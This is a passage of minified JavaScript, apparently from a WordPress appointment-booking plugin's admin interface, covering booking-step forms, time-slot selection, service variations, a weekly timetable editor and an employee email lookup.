Ae{setupProperties(){super.setupProperties(),this.cartItem=null,this.lastHash=\"\",this.monthSlots={},this.date=\"\",this.time=\"\",this.datepicker=null,this.$dateWrapper=this.$element.find(\".mpa-date-wrapper\"),this.$dateInput=this.$element.find(\".mpa-date\"),this.$timeWrapper=this.$element.find(\".mpa-time-wrapper\"),this.$times=this.$timeWrapper.find(\".mpa-times\"),this.lookedAheadMonths=0,this.maxLookAheadMonths=12,this.isSelectedFirstAvailableSlot=!1,this.availabilityService=null}setAvailabilityService(e){this.availabilityService=e}theId(){return\"period\"}getCartContext(){return\"cart item\"}propertiesSchema(){return{date:{type:\"string\",default:\"\"},time:{type:\"string\",default:\"\"}}}addListeners(){super.addListeners(),this.$dateInput.on(\"change\",(e=>this.setProperty(\"date\",e.target.value)))}loadEntities(){return this.cartItem=this.cart.getActiveItem(),this.lastHash=this.cartItem.getHash(\"availability\"),Promise.resolve(this)}reload(){return this.cartItem.didChange(this.lastHash,\"availability\")?(this.$element.removeClass(\"mpa-loaded\"),this.resetDate(),this.readyPromise=this.loadEntities(),this.monthSlots={},null!=this.datepicker&&(this.setEnabledDays([]),this.readyPromise.finally((()=>this.resetEnabledDays()))),this.readyPromise):Promise.resolve(this)}reset(){this.cartItem=this.cart.getActiveItem(),this.lastHash=\"\",this.monthSlots={},this.resetDate()}isValidInput(){return\"\"!=this.date&&\"\"!=this.time}resetDate(){this.resetProperty(\"date\")}resetTime(){this.$times.empty(),this.resetProperty(\"time\")}setEnabledDays(e){_(e,!0)?this.datepicker.set(\"enable\",[\"2000-01-01\"]):this.datepicker.set(\"enable\",e)}afterUpdate(e,t,i){\"date\"==e&&(\"\"==t?this.resetTime():this.resetTimeSlots())}react(){super.react(),this.$timeWrapper.toggleClass(\"mpa-hide\",\"\"==this.date)}showReady(){super.showReady(),null==this.datepicker&&(this.showDatepicker(),this.resetEnabledDays())}showDatepicker(){this.datepicker=v(this.$dateInput,this.getDatepickerArgs())}getDatepickerArgs(){return{minDate:h().settings().getBusinessDate(),onMonthChange:()=>this.resetEnabledDays()}}maybeSubmit(){let e=this.cartItem;if(e.date=g(this.date),e.time=new ye(this.time),e.date&&e.time&&e.time.setDate(e.date),null===e.employee||null===e.location){let t=this.autoselectIds(),i=t[0],s=t[1];null===e.employee&&e.setEmployee(i,!1),null===e.location&&e.setLocation(s,!1)}let t=this.getCurrentMonthKey();this.cartItem.setBookingVariants(this.monthSlots[t][this.date][this.time]),document.dispatchEvent(new CustomEvent(\"mpa_add_to_cart\",{detail:{cartItem:e,currencyCode:h().settings().getCurrency()}})),document.dispatchEvent(new CustomEvent(\"mpa_view_cart\",{detail:{cart:this.cart,currencyCode:h().settings().getCurrency()}}))}selectFirstDateTimeSlot(){let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,i=this.getMonthKey(e,t);const s=this.monthSlots[i];if(s&&Object.keys(s).length>0){const e=Object.keys(s)[0],t=Object.keys(s[e])[0];this.datepicker.setDate(e,!0);this.$times.children(\".mpa-time-period\").filter(((e,i)=>i.getAttribute(\"date-time\")===t)).trigger(\"click\"),this.isSelectedFirstAvailableSlot=!0}else{if(!0===this.isSelectedFirstAvailableSlot)return;if(this.lookedAheadMonths>=this.maxLookAheadMonths)return this.datepicker.changeMonth(-this.lookedAheadMonths),void(this.isSelectedFirstAvailableSlot=!0);this.lookedAheadMonths+=1,this.datepicker.changeMonth(1),this.reload()}}autoselectIds(){let e=[0,0],t=this.getCurrentMonthKey();if(this.monthSlots[t]&&this.monthSlots[t][this.date]){let i=this.monthSlots[t][this.date];for(let t in i)if(t===this.time){let s=i[t];e[0]=s[0][0],e[1]=s[0][1];break}}return e}waitForServiceToLoad(){let e=this.availabilityService.getServicePromise();return null!==e?e:Promise.resolve(this.cartItem.getService())}resetEnabledDays(){this.resetDate(),this.setEnabledDays([]),this.$dateWrapper.removeClass(\"mpa-loaded\");let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,i=this.getMonthKey(e,t),s=null;if(this.monthSlots[i])s=Promise.resolve(this.monthSlots[i]);else{s=function(e,t,i,s){return n(\"\u002Fcalendar\u002Ftime\",{service_id:e,employee_in:s.employee_in?s.employee_in.join(\",\"):\"\",location_in:s.location_in?s.location_in.join(\",\"):\"\",date_from:m(t,\"internal\"),date_to:m(i,\"internal\"),exclude_cart:s.exclude_cart?s.exclude_cart:[]}).catch((e=>console.error(\"Failed to make time slots in mpa_time_slots().\",e.message)||{}))}(this.cartItem.service.id,new Date(e,t,1),new Date(e,t+1,1),this.getTimeSlotsQueryArgs())}Promise.all([s,this.waitForServiceToLoad()]).then((e=>{let t=e[0];this.monthSlots[i]=t,this.setEnabledDays(Object.keys(t)),this.$dateWrapper.addClass(\"mpa-loaded\"),this.selectFirstDateTimeSlot()}))}getTimeSlotsQueryArgs(){let e=this.cartItem.getEmployeeId(),t=this.cartItem.getLocationId();return{employee_in:e?[e]:this.cartItem.getAvailableEmployeeIds(),location_in:t?[t]:this.cartItem.getAvailableLocationIds(),exclude_cart:this.cart.toArray(\"items\")}}resetTimeSlots(){this.resetTime();let e={},t=this.getCurrentMonthKey();null!=this.monthSlots[t][this.date]&&(e=this.monthSlots[t][this.date]);let i=0;for(let t in e){let s=new ye(t).toString(\"public\",'\u003Cspan class=\"mpa-period-end-time\"> - ')+\"\u003C\u002Fspan>\",a=this.cartItem.getService();if(a.isGroupService()){let i=a.getMinCapacity();for(let s of e[t])i=Math.max(i,s[3]);s+=\" \",s+='\u003Cspan class=\"mpa-slot-capacity\">',s+='\u003Cspan class=\"mpa-slot-capacity-label\">'+a.getQuantityLabel()+\":\u003C\u002Fspan>\",s+=\"&nbsp;\",s+='\u003Cspan class=\"mpa-slot-capacity-number\">'+i+\"\u003C\u002Fspan>\",s+=\"\u003C\u002Fspan>\"}let r=B(s,{class:\"button button-secondary mpa-time-period\",\"date-time\":t});this.$times.append(r),i++}i>0?this.$times.children(\".mpa-time-period\").on(\"click\",(e=>this.onTime(e,e.currentTarget))):this.$times.text(c(\"Sorry, but we were unable to allocate time slots for the date you selected.\",\"motopress-appointment\"))}getMonthKey(e,t){return t\u003C=8?e+\"-0\"+(t+1):e+\"-\"+(t+1)}getCurrentMonthKey(){if(\"\"!==this.date){let e=g(this.date);return this.getMonthKey(e.getFullYear(),e.getMonth())}return\"2000-01\"}onTime(e,t){this.$times.children(\".mpa-time-period-selected\").removeClass(\"mpa-time-period-selected\"),t.classList.add(\"mpa-time-period-selected\"),this.setProperty(\"time\",t.getAttribute(\"date-time\"))}}class Ve extends Oe{getDatepickerArgs(){let e=super.getDatepickerArgs(),t=this.cart.getMinDate(),i=new Date(t.getFullYear(),t.getMonth());return e.minDate=m(i,\"internal\"),e}getTimeSlotsQueryArgs(){let e=super.getTimeSlotsQueryArgs();return e.since_today=!1,e}}class Fe extends Ae{setupProperties(){super.setupProperties(),this.availabilityService=null,this.category=\"\",this.serviceId=0,this.employeeId=0,this.locationId=0,this.isHiddenStep=!0,this.$form=this.$element.find(\".mpa-service-form\"),this.$categories=this.$element.find(\".mpa-service-category-wrapper\"),this.$services=this.$element.find(\".mpa-service-wrapper\"),this.$employees=this.$element.find(\".mpa-employee-wrapper\"),this.$locations=this.$element.find(\".mpa-location-wrapper\"),this.$selects=this.$element.find(\".mpa-input-wrapper select\"),this.$categoriesSelect=this.$selects.filter(\".mpa-service-category\"),this.$servicesSelect=this.$selects.filter(\".mpa-service\"),this.$employeesSelect=this.$selects.filter(\".mpa-employee\"),this.$locationsSelect=this.$selects.filter(\".mpa-location\"),this.unselectedServiceText=this.$servicesSelect.children('[value=\"\"]').text(),this.unselectedOptionText=this.$selects.filter(\".mpa-optional-select\").first().find(\"option:first\").text()}setAvailabilityService(e){this.availabilityService=e}theId(){return\"service-form\"}getCartContext(){return\"cart item\"}propertiesSchema(){return{category:{type:\"string\",default:\"\"},serviceId:{type:\"integer\",default:0},employeeId:{type:\"integer\",default:0},locationId:{type:\"integer\",default:0}}}addListeners(){super.addListeners(),this.$form.on(\"submit\",this.submitForm.bind(this)),this.$categoriesSelect.on(\"change\",(e=>this.setProperty(\"category\",e.target.value))),this.$servicesSelect.on(\"change\",(e=>this.setProperty(\"serviceId\",e.target.value))),this.$employeesSelect.on(\"change\",(e=>this.setProperty(\"employeeId\",e.target.value))),this.$locationsSelect.on(\"change\",(e=>this.setProperty(\"locationId\",e.target.value)))}isHiddenElementByProp(e){const t=e.attr(\"data-is-hidden\");return void 0!==t&&\"false\"!==t}initCategoriesSelect(){if(0==this.$categoriesSelect.length)return;this.updateCategorySchema();let e=this.$categoriesSelect.val(),t=this.isHiddenElementByProp(this.$categoriesSelect);if(this.$categoriesSelect.attr(\"data-default\")){const i=this.$categoriesSelect.attr(\"data-default\");this.isValidCategoryBySchema(i)?e=i:t=!1}this.setProperty(\"category\",e),this.renderCategorySelect(),t||(this.isHiddenStep=!1),this.$categories.toggleClass(\"mpa-hide\",t)}initServicesSelect(){if(0==this.$servicesSelect.length)return;this.updateServiceSchema();let e=this.$servicesSelect.val(),t=this.isHiddenElementByProp(this.$servicesSelect);if(this.$servicesSelect.attr(\"data-default\")){const i=S(this.$servicesSelect.attr(\"data-default\"));this.isValidServiceBySchema(i)?e=i:t=!1}this.setProperty(\"serviceId\",e),this.renderServiceSelect(),t||(this.isHiddenStep=!1),this.$services.toggleClass(\"mpa-hide\",t)}initEmployeesSelect(){if(0==this.$employeesSelect.length)return;this.updateEmployeeSchema();let e=this.$employeesSelect.val(),t=this.isHiddenElementByProp(this.$employeesSelect);if(this.$employeesSelect.attr(\"data-default\")){const i=S(this.$employeesSelect.attr(\"data-default\"));this.isValidEmployeeBySchema(i)?e=i:t=!1}this.setProperty(\"employeeId\",e),this.renderEmployeeSelect(),t||(this.isHiddenStep=!1),this.$employees.toggleClass(\"mpa-hide\",t)}initLocationsSelect(){if(0==this.$locationsSelect.length)return;this.updateLocationSchema();let e=this.$locationsSelect.val(),t=this.isHiddenElementByProp(this.$locationsSelect);if(this.$locationsSelect.attr(\"data-default\")){const i=S(this.$locationsSelect.attr(\"data-default\"));this.isValidLocationBySchema(i)?e=i:t=!1}this.setProperty(\"locationId\",e),this.renderLocationSelect(),t||(this.isHiddenStep=!1),this.$locations.toggleClass(\"mpa-hide\",t)}loadEntities(){return this.availabilityService.ready().finally((()=>(this.initServicesSelect(),this.initCategoriesSelect(),this.initEmployeesSelect(),this.initLocationsSelect(),this)))}reset(){let e={category:this.$categoriesSelect,serviceId:this.$servicesSelect,employeeId:this.$employeesSelect,locationId:this.$locationsSelect};this.preventReact=!0;for(let t in e){let i=e[t].attr(\"data-default\");i?this.setProperty(t,i):this.resetProperty(t)}this.preventReact=!1,this.isActive&&this.react()}isValidInput(){return 0!=this.serviceId}updateCategorySchema(){const e=this.availabilityService.getAvailableServiceCategories();this.schema.category.options=Object.keys(e)}updateServiceSchema(){const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.schema.serviceId.options=Object.keys(e).map(S)}updateEmployeeSchema(){const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId);this.schema.employeeId.options=Object.keys(e).map(S)}updateLocationSchema(){const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId);this.schema.locationId.options=Object.keys(e).map(S)}isValidCategoryBySchema(e){return this.schema.category.options.includes(e)}isValidServiceBySchema(e){return this.schema.serviceId.options.includes(e)}isValidLocationBySchema(e){return this.schema.locationId.options.includes(e)}isValidEmployeeBySchema(e){return this.schema.employeeId.options.includes(e)}afterUpdate(e,t,i){if(this.updateCategorySchema(),this.updateServiceSchema(),this.updateEmployeeSchema(),this.updateLocationSchema(),\"category\"===e){let e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.serviceId in e||(this.resetProperty(\"serviceId\"),this.resetProperty(\"employeeId\"),this.resetProperty(\"locationId\"))}}react(){super.react(),this.$categoriesSelect.val(this.category||\"\"),this.$servicesSelect.val(this.serviceId||\"\"),this.$employeesSelect.val(this.employeeId),this.$locationsSelect.val(this.locationId),this.$categoriesSelect.toggleClass(\"mpa-selected\",\"\"!=this.category),this.$servicesSelect.toggleClass(\"mpa-selected\",0!=this.serviceId),this.$employeesSelect.toggleClass(\"mpa-selected\",0!=this.employeeId),this.$locationsSelect.toggleClass(\"mpa-selected\",0!=this.locationId),this.renderCategorySelect(),this.renderServiceSelect(),this.renderEmployeeSelect(),this.renderLocationSelect(),this.$buttonNext.prop(\"disabled\",!1)}renderCategorySelect(){this.preventUpdate=!0;const e=Object.values(this.availabilityService.getServiceCategoriesTree()),t=this.availabilityService.categoryIndexes.map(String);let i;const s=parseInt(this.serviceId,10);if(s>0){const t=this.availabilityService.getServiceCategories(s);i=ke(Ce(e,Object.keys(t)))}else i=null;const a=Pe(e,t,i),r=this.category||\"\";Q(this.$categoriesSelect,{\"\":this.unselectedOptionText},a,r),this.preventUpdate=!1}renderServiceSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId),t=this.availabilityService.serviceIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),i=0===this.serviceId?\"\":String(this.serviceId);Q(this.$servicesSelect,{\"\":this.unselectedServiceText},t,i),this.preventUpdate=!1}renderEmployeeSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId),t=this.availabilityService.employeeIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),i=0===this.employeeId?\"0\":String(this.employeeId);Q(this.$employeesSelect,{0:this.unselectedOptionText},t,i),this.preventUpdate=!1}renderLocationSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId),t=this.availabilityService.locationIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),i=0===this.locationId?\"0\":String(this.locationId);Q(this.$locationsSelect,{0:this.unselectedOptionText},t,i),this.preventUpdate=!1}show(){this.$servicesSelect.prop(\"required\",!0),super.show()}hide(){super.hide(),this.$servicesSelect.prop(\"required\",!1)}enable(){super.enable(),this.$selects.prop(\"disabled\",!1)}disable(){super.disable(),this.$selects.prop(\"disabled\",!0)}submitForm(e){this.isActive&&!this.isValidInput()||e.preventDefault()}maybeSubmit(){let e=this.cart.getActiveItem();if(null===e)return console.error(\"Unable to get active cart item in StepServiceForm.maybeSubmit().\");if(e.setService(this.availabilityService.getService(this.serviceId,!0,(()=>{document.dispatchEvent(new CustomEvent(\"mpa_view_item\",{detail:{cartItem:e,currencyCode:h().settings().getCurrency()}}))}))),e.setServiceCategories(this.availabilityService.getServiceCategories(this.serviceId)),0!==this.employeeId?e.setEmployee(this.availabilityService.getEmployee(this.employeeId)):e.setAvailableEmployees(this.availabilityService.filterAvailableEmployees(this.serviceId,this.locationId,\"entities\")),0!==this.locationId)e.setLocation(this.availabilityService.getLocation(this.locationId));else{let t=this.employeeId||e.getAvailableEmployeeIds();e.setAvailableLocations(this.availabilityService.filterAvailableLocations(this.serviceId,t,\"entities\"))}}}class Re extends s{constructor(e){super(e),this.cart=new oe,this.steps=new xe(this.cart),this.load()}setupSteps(){this.steps.addStep(new Fe(this.$element.find(\".mpa-booking-step-service-form\"),this.cart)).addStep(new Ve(this.$element.find(\".mpa-booking-step-period\"),this.cart)).addStep(new Be(this.$element.find(\".mpa-booking-step-cart\"),this.cart)),this.steps.mount(this.$element);let e=new Ee;this.steps.getStep(\"service-form\").setAvailabilityService(e),this.steps.getStep(\"period\").setAvailabilityService(e),this.steps.goToStep(\"cart\")}load(){this.setupSteps()}}class je extends s{constructor(e){super(e),this.$table=this.$element.find(\"table\"),this.$rows=this.$table.children(\"tbody\"),this.$addButton=this.$element.find(\".mpa-add-button\"),this.inputName=this.$element.attr(\"data-base-name\"),this.variations={},this.count=0,this.employees={},this.durations={},this.findVariations(),this.getEmployees(),this.getDurations(),this.clearElement(),this.addListeners()}findVariations(){this.$element.find(\".mpa-variation\").each(((e,t)=>{let i=jQuery(t),s=i.attr(\"data-id\");this.variations[s]=i,this.count++}))}getEmployees(){this.$element.find(\".mpa-employees-list option\").each(((e,t)=>{let i=parseInt(t.value),s=t.text;this.employees[i]=s}))}getDurations(){this.$element.find(\".mpa-durations-list option\").each(((e,t)=>{let i=parseInt(t.value),s=t.text;this.durations[i]=s}))}clearElement(){this.$element.children(\".mpa-data-lists\").remove()}addListeners(){this.$addButton.on(\"click\",this.addRow.bind(this)),this.$element.find(\".mpa-remove-button\").on(\"click\",(e=>this.removeRowByElement(e.target)))}addRow(){let e=C(),t=this.renderRow(e);this.$rows.append(t);let i=this.$rows.find('[data-id=\"'+e+'\"]');this.variations[e]=i,this.count++,this.$table.removeClass(\"mpa-hide\"),i.find(\".mpa-remove-button\").on(\"click\",(e=>this.removeRowByElement(e.target)))}renderRow(e){let t=this.inputName+\"[\"+e+\"]\",i=\"\";return i+='\u003Ctr class=\"mpa-variation\" data-id=\"'+e+'\">',i+='\u003Ctd class=\"column-employee\">',i+=j(this.employees,0,{name:`${t}[employee]`,class:\"mpa-employees\"}),i+=\"\u003C\u002Ftd>\",i+='\u003Ctd class=\"column-price\">',i+='\u003Cinput class=\"mpa-price\" type=\"number\" name=\"'+t+'[price]\" value=\"\" min=\"0\" step=\"0.01\">',i+=\"\u003C\u002Ftd>\",i+='\u003Ctd class=\"column-duration\">',i+=j(this.durations,0,{name:`${t}[duration]`,class:\"mpa-durations\"}),i+=\"\u003C\u002Ftd>\",i+='\u003Ctd class=\"column-min-capacity\">',i+='\u003Cinput class=\"small-text\" type=\"number\" name=\"'+t+'[min_capacity]\" value=\"\" min=\"1\" step=\"1\">',i+=\"\u003C\u002Ftd>\",i+='\u003Ctd class=\"column-max-capacity\">',i+='\u003Cinput class=\"small-text\" type=\"number\" name=\"'+t+'[max_capacity]\" value=\"\" min=\"1\" step=\"1\">',i+=\"\u003C\u002Ftd>\",i+='\u003Ctd class=\"column-actions\">'+O(\"trash\",\"mpa-remove-button\")+\"\u003C\u002Ftd>\",i+=\"\u003C\u002Ftr>\",i}removeRowByElement(e){let t=jQuery(e).parents(\".mpa-variation\").attr(\"data-id\");t&&this.removeRow(t)}removeRow(e){this.variations.hasOwnProperty(e)&&(this.variations[e].remove(),delete this.variations[e],this.count--,0===this.count&&this.$table.addClass(\"mpa-hide\"))}}class Ne extends s{constructor(e){super(e),this.$daysContainer=this.$element.find(\".mpa-days-container\"),this.$formTable=this.$element.find(\".mpa-edit-table\"),this.$dayInput=this.$formTable.find(\".mpa-day-of-week\"),this.timeSelects=this.$formTable.find(\".mpa-period\"),this.$startTimeHoursInput=this.$formTable.find(\".mpa-period__start-hours\"),this.$startTimeMinutesInput=this.$formTable.find(\".mpa-period__start-minutes\"),this.$endTimeHoursInput=this.$formTable.find(\".mpa-period__end-hours\"),this.$endTimeMinutesInput=this.$formTable.find(\".mpa-period__end-minutes\"),this.$timeAllDayInput=this.$formTable.find(\".mpa-period__all-day\"),this.$activityInput=this.$formTable.find(\".mpa-activity\"),this.$locationInput=this.$formTable.find(\".mpa-location\"),this.$errorWrapper=this.$formTable.find(\".mpa-end-time + .mpa-error\"),this.$addButton=this.$element.find(\".mpa-add-button\"),this.$cancelButton=this.$element.find(\".mpa-cancel-button\"),this.addingPeriod=!1,this.baseName=this.$element.attr(\"data-base-name\"),this.findPeriods(),this.fillActivities(),this.fillLocations(),this.addListeners()}findPeriods(){this.periods={monday:{},tuesday:{},wednesday:{},thursday:{},friday:{},saturday:{},sunday:{}},this.periodsMap={};let e=this;this.$element.find(\".mpa-day-period\").each((function(t,i){let s=jQuery(i),a=s.attr(\"data-id\"),r=s.children(\".mpa-period-day\").val(),n=parseInt(s.children(\".mpa-period-start\").val());e.periods[r][a]={startTime:n,$element:s},e.periodsMap[a]=r}))}fillActivities(){this.activities={},this.$activityInput.children().each(((e,t)=>{let i=t.value,s=t.text;this.activities[i]=s}))}fillLocations(){this.locations={},this.$locationInput.children().each(((e,t)=>{let i=t.value,s=t.text;\"\"!==i&&(this.locations[i]=s)}))}addListeners(){this.$timeAllDayInput.on(\"change\",(e=>{e.target.checked?this.timeSelects.hide():this.timeSelects.show()})),this.$addButton.on(\"click\",(()=>{this.addingPeriod?this.isValidEditingPeriod()?(this.$errorWrapper.addClass(\"mpa-hide\"),this.addPeriod({day:this.getDay(),startTime:this.getStartTime(),endTime:this.getEndTime(),activity:this.getActivity(),location:this.getLocation()}),this.$formTable.addClass(\"mpa-hide\"),this.addingPeriod=!1):this.$errorWrapper.removeClass(\"mpa-hide\"):(this.addingPeriod=!0,this.resetInputs(),this.$formTable.removeClass(\"mpa-hide\"))})),this.$cancelButton.on(\"click\",(()=>{this.$formTable.addClass(\"mpa-hide\"),this.addingPeriod=!1}));let e=this;this.$element.find(\".mpa-remove-button\").on(\"click\",(function(){e.removePeriodByElement(this)}))}getDay(){return this.$dayInput.val()}getStartTime(){let e=0;return this.$timeAllDayInput.prop(\"checked\")||(e=60*parseInt(this.$startTimeHoursInput.val())+parseInt(this.$startTimeMinutesInput.val())),e}getEndTime(){let e=0;return this.$timeAllDayInput.prop(\"checked\")||(e=60*parseInt(this.$endTimeHoursInput.val())+parseInt(this.$endTimeMinutesInput.val())),e}getActivity(){return this.$activityInput.val()}getLocation(){let e=this.$locationInput.val();return\"\"!==e&&(e=parseInt(e)),e}isValidEditingPeriod(){let e=this.getStartTime(),t=this.getEndTime();return t>e||0===t}addPeriod(e){let t=C(),i=this.renderPeriod(e,t),s=!1;for(let t in this.periods[e.day])if(e.startTime\u003Cthis.periods[e.day][t].startTime){jQuery(i).insertBefore(this.periods[e.day][t].$element),s=!0;break}s||this.$daysContainer.children('[data-for=\"'+e.day+'\"]').children(\".mpa-day-periods\").append(i);let a=this.$daysContainer.find('[data-id=\"'+t+'\"]');this.periods[e.day][t]={startTime:e.startTime,$element:a},this.periodsMap[t]=e.day;let r=this;a.find(\".mpa-remove-button\").on(\"click\",(function(){r.removePeriodByElement(this)}))}renderPeriod(e,t){let i=this.baseName+\"[\"+t+\"]\",s=\"\";return s+='\u003Cdiv class=\"mpa-day-period\" data-id=\"'+t+'\">',s+='\u003Cinput type=\"hidden\" name=\"'+i+'[day]\" value=\"'+e.day+'\">',s+='\u003Cinput type=\"hidden\" name=\"'+i+'[start]\" value=\"'+e.startTime+'\">',s+='\u003Cinput type=\"hidden\" name=\"'+i+'[end]\" value=\"'+e.endTime+'\">',s+='\u003Cinput type=\"hidden\" name=\"'+i+'[activity]\" value=\"'+e.activity+'\">',s+='\u003Cinput type=\"hidden\" name=\"'+i+'[location]\" value=\"'+e.location+'\">',s+='\u003Cspan class=\"mpa-period-time\">',0===e.startTime&&0===e.startTime&&e.startTime===e.endTime?s+=c(\"All day\",\"motopress-appointment\"):(s+=x(e.startTime),s+=\"&nbsp;—&nbsp;\",s+=x(e.endTime)),s+=\"\u003C\u002Fspan>\",s+=O(\"trash\",\"mpa-remove-button\"),s+=\"\u003Cbr>\",s+='\u003Cspan class=\"mpa-period-activity\">',s+=this.activities[e.activity],s+=\"\u003C\u002Fspan>\",\"\"!==e.location&&\"work\"==e.activity&&(s+=\"\u003Cbr>\",s+='\u003Cspan class=\"mpa-period-location\">',s+=d(\"at %s\",\"Working at %s\",\"motopress-appointment\").replace(\"%s\",function(e,t=\"\"){return`\u003Ca href=\"wp-admin\u002Fpost.php?post=${e}&action=edit\" title=\"`+t+'\">'+t+\"\u003C\u002Fa>\"}(e.location,this.locations[e.location])),s+=\"\u003C\u002Fspan>\"),s+=\"\u003C\u002Fdiv>\",s}removePeriodByElement(e){let t=jQuery(e).parents(\".mpa-day-period\").attr(\"data-id\");t&&this.removePeriod(t)}removePeriod(e){if(!this.periodsMap.hasOwnProperty(e))return;let t=this.periodsMap[e];this.periods[t][e].$element.remove(),delete this.periods[t][e],delete this.periodsMap[e]}resetInputs(){this.$errorWrapper.addClass(\"mpa-hide\")}onCancel(){this.$formTable.addClass(\"mpa-hide\"),this.addingPeriod=!1}}class He extends s{constructor(e){super(e),this.$input=this.$element.find(\"input\"),this.$datalist=this.$element.find(\"datalist\"),this.$input.on(\"input\",this.reloadUserEmails.bind(this)),this.reloadUserEmails()}reloadUserEmails(){let e=this;jQuery.ajax({url:mpaUserMetaboxSettings.root+\"wp\u002Fv2\u002Fusers\u002F\",method:\"GET\",beforeSend:function(e){e.setRequestHeader(\"X-WP-Nonce\",mpaUserMetaboxSettings.nonce)},data:{context:\"edit\",search:e.$input.val(),per_page:100,orderby:\"email\"}}).done((function(t){e.$datalist.empty(),t.forEach((t=>{e.$datalist.append('\u003Coption value=\"'+t.email+'\">\u003C\u002Foption>')}))}))}}class Qe{constructor(e){this.$element=e,this.$toggle=e.children(\".dropdown-toggle\"),this.$menu=e.children(\".dropdown-menu\"),this.$menuItems=this.$menu.children(\".dropdown-item\"),this.isDoingClick=!1,this.addListeners(),this.setInited()}addListeners(){this.$toggle.on(\"click\",this.showMenu.bind(this)),this.$toggle.on(\"blur\",this.onBlur.bind(this)),this.$menuItems.on(\"mousedown\",this.beforeClick.bind(this)),this.$menuItems.on(\"mouseup\",this.afterClick.bind(this))}setInited(){this.$element.addClass(\"inited\")}toggleMenu(){this.$menu.toggleClass(\"show\")}showMenu(){this.$menu.addClass(\"show\")}hideMenu(){this.$menu.removeClass(\"show\")}beforeClick(){this.isDoingClick=!0}afterClick(){this.isDoingClick=!1,this.hideMenu()}onBlur(e){this.isDoingClick?e.preventDefault():this.hideMenu()}}new class{constructor(){this.setupComponents(),this.exportInstance()}setupComponents(){this.setupDropdowns()}setupDropdowns(){jQuery(\".mpa-dropdown:not(.inited)\").each((function(e,t){new Qe(jQuery(t))}))}exportInstance(){var e,t;e=\"Bootstrap\",t=this,null==window.MotoPress&&(window.MotoPress={}),null==window.MotoPress.Appointment&&(window.MotoPress.Appointment={}),window.MotoPress.Appointment[e]=t}},new class{constructor(){this.setupFields(jQuery(\".mpa-ctrl:not([data-inited])\"))}setupFields(e){e.each((function(e,t){let i=jQuery(t);switch(i.attr(\"data-type\")){case\"color-picker\":new a(i);break;case\"date\":new f(i);break;case\"image\":new $(i);break;case\"phone\":new w(i);break;case\"attributes\":new W(i);break;case\"custom-workdays\":new z(i);break;case\"days-off\":new K(i);break;case\"edit-reservations\":new Re(i);break;case\"service-variations\":new je(i);break;case\"timetable\":new Ne(i);break;case\"employee-user\":new He(i)}}))}},new class{constructor(){0!==jQuery(\"#mpa_appointment_form_metabox\").length&&(this.availability=new Ee,this.availability.load().finally((()=>{this.defaultValuesDependency()})),this.$showItemsCategory=jQuery(\"#_mpa_show_items-category\"),this.$showItemsCategoryLabel=this.$showItemsCategory.parent(),this.$showItemsService=jQuery(\"#_mpa_show_items-service\"),this.$showItemsServiceLabel=this.$showItemsService.parent(),this.$defaultValuesCategory=jQuery(\"#_mpa_default_category\"),this.$defaultValuesService=jQuery(\"#_mpa_default_service\"),this.$defaultValuesLocation=jQuery(\"#_mpa_default_location\"),this.$defaultValuesEmployee=jQuery(\"#_mpa_default_employee\"),this.showItemsCategoryProp=this.$showItemsCategory.prop(\"checked\"),this.showItemsCategoryLabelTooltipText=p(c(\"To enable this option, you need to check the '%s' box.\",\"motopress-appointment\"),c(\"Service\",\"motopress-appointment\")),this.showItemsServiceLabelTooltipText=c(\"To enable booking for the specific service only, select the service below first, then uncheck the 'Service' box here.\",\"motopress-appointment\"),this.dependencyOfShowServiceToDefaultValueOfService(),this.toggleCategoryBasedOnService(),this.addListeners())}addListeners(){this.$showItemsCategory.on(\"change\",(()=>this.updateShowItemsCategoryProp())),this.$showItemsService.on(\"change\",(()=>this.toggleCategoryBasedOnService())),this.$defaultValuesService.on(\"change\",(()=>this.dependencyOfShowServiceToDefaultValueOfService())),this.$showItemsServiceLabel.on(\"click\",(()=>this.makeFocusToServiceSelect())),this.$defaultValuesCategory.on(\"change\",(()=>this.defaultValuesDependency())),this.$defaultValuesService.on(\"change\",(()=>this.defaultValuesDependency())),this.$defaultValuesLocation.on(\"change\",(()=>this.defaultValuesDependency())),this.$defaultValuesEmployee.on(\"change\",(()=>this.defaultValuesDependency()))}updateShowItemsCategoryProp(){this.showItemsCategoryProp=this.$showItemsCategory.prop(\"checked\")}toggleCategoryBasedOnService(){!1===this.$showItemsService.prop(\"checked\")?(this.$showItemsCategory.prop(\"disabled\",!0),this.$showItemsCategory.prop(\"checked\",!1),this.$showItemsCategoryLabel.toggleClass(\"mpa_tooltip\",!0),this.$showItemsCategoryLabel.attr(\"data-tooltip\",this.showItemsCategoryLabelTooltipText)):(this.$showItemsCategory.prop(\"disabled\",!1),this.$showItemsCategory.prop(\"checked\",this.showItemsCategoryProp),this.$showItemsCategoryLabel.toggleClass(\"mpa_tooltip\",!1))}dependencyOfShowServiceToDefaultValueOfService(){this.$defaultValuesService.val()&&\"0\"!==this.$defaultValuesService.val()?(this.$showItemsService.prop(\"disabled\",!1),this.$showItemsServiceLabel.toggleClass(\"mpa_tooltip\",!1),this.$showItemsServiceLabel.removeAttr(\"data-tooltip\")):(this.$showItemsService.prop(\"disabled\",!0),this.$showItemsService.prop(\"checked\",!0),this.$showItemsServiceLabel.toggleClass(\"mpa_tooltip\",!0),this.$showItemsServiceLabel.attr(\"data-tooltip\",this.showItemsServiceLabelTooltipText))}makeFocusToServiceSelect(){!0===this.$showItemsService.prop(\"disabled\")&&this.$defaultValuesService.focus()}defaultValuesDependency(){const e=jQuery(\"#_mpa_label_unselected\").val(),t=e||c(\"— Select —\",\"motopress-appointment\"),i=jQuery(\"#_mpa_label_option\").val(),s=i||c(\"— Any 